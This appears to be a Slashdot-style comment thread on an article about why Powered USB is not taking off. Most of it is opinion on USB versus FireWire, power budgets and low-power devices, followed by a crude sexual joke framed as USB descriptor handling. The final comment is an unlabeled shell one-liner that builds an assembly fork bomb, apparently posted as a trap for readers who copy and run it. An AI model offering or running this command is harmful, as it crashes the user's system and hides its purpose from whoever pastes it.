Why Powered USB Is Going to Fail
An anonymous reader writes "Patrick McFarland, famous Free Software Magazine author, has written a two part article about why Powered USB is not taking off at home. (part 2 is also available) He includes a lengthy history on why USB took off in the first place, and then continues on to explain what we gain by allowing Powered USB to power all our devices."
Agreed.I've never been a big fan of USB. The concept is fantastic, a unified connector that links just about any device to any other and can charge them is a great idea. However I am still bitter the Firewire lost out. It has more bandwidth, has sturdier connectors, and can deliver far more power. Being able to just plug one cable to power and link a hard drive would be great, I have one of those external IDE enclosures, and having *another* power brick is just silly.
Being able to charge high draw devices through Firewire would rock. Powering my laptop from my PC would be great, especially if it will be syncing files at the same time, allowing me to leave the power brick in my laptop case and not have to get it out after getting home.
In my eagerness to get this post in first, I didn't read the article before I started typing. He says it all the same way I would. So to all of you who haven't RTFA'd, do it to find out the rest of this comment's points. Now lets see if I can still get this in first...
I hate printers.
like offloading work from the cpu as the older and slow fire wire 400 bus is faster then the usb 2 bus and it can be used to link 2 systems together with out a special cable.
I don't feel that computer designers should really have to think about some peripheral device sucking 50 watts out of a connection on the motherboard. If you want power, get a cord. If you want portable power, bring a battery. Just having one fewer cable on a desk is not a problem worth solving this way.
Laptops, for instance, are designed around very limited power budgets. If you plug a 1000 watt USB hair dryer into it, how long are the batteries going to last?
A solution I would be in favor of is building lower power peripherals. Building 500 GB flash hard-drive replacements than run on half-a-watt should be possible in a couple of years. Building very low power OLED displays should be possible. Building low-power devices is something that is a win in every possible way, and should be encouraged -- the USB power limitation is a great way to stimulate this!
That said, I'm really sorry I passed up the USB-powered heated typing gloves I saw in Shinjuku last fall...
Thad Beier
I love Mondays. On a Monday, anything is possible.
theres this girl I like and I really want to eat her out. I could spend hours pleasuring her. How do I ask her?
Register for callbacks on device enumeration.
Once she has enumerated, check her device descriptor bDeviceClass for class USB_HUMAN and bDeviceSubClass for HETEROSEXUAL_WOMAN. These steps are very important, do not omit them. If these are zeros in the Device Descriptor, iterate through all the Interface Descriptors. Note, if there is more than one Interface Descriptor, it may be best to skip the device.
Now send a class request, SET_FEATURE ( HUMAN_ORAL_SEX ). If she doesn't stall the request, you are good to go. Some targets have a bug where the request are stalled incorrectly a few times. In this case, you should retry a few times, but not too many, unless BUILD_OPTION_EMO_LOSER is defined in which case you should retry an unlimited number of times until the OS bugchecks. Actually, if that is defined, you can skip the class and subclass post enumeration checks too.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;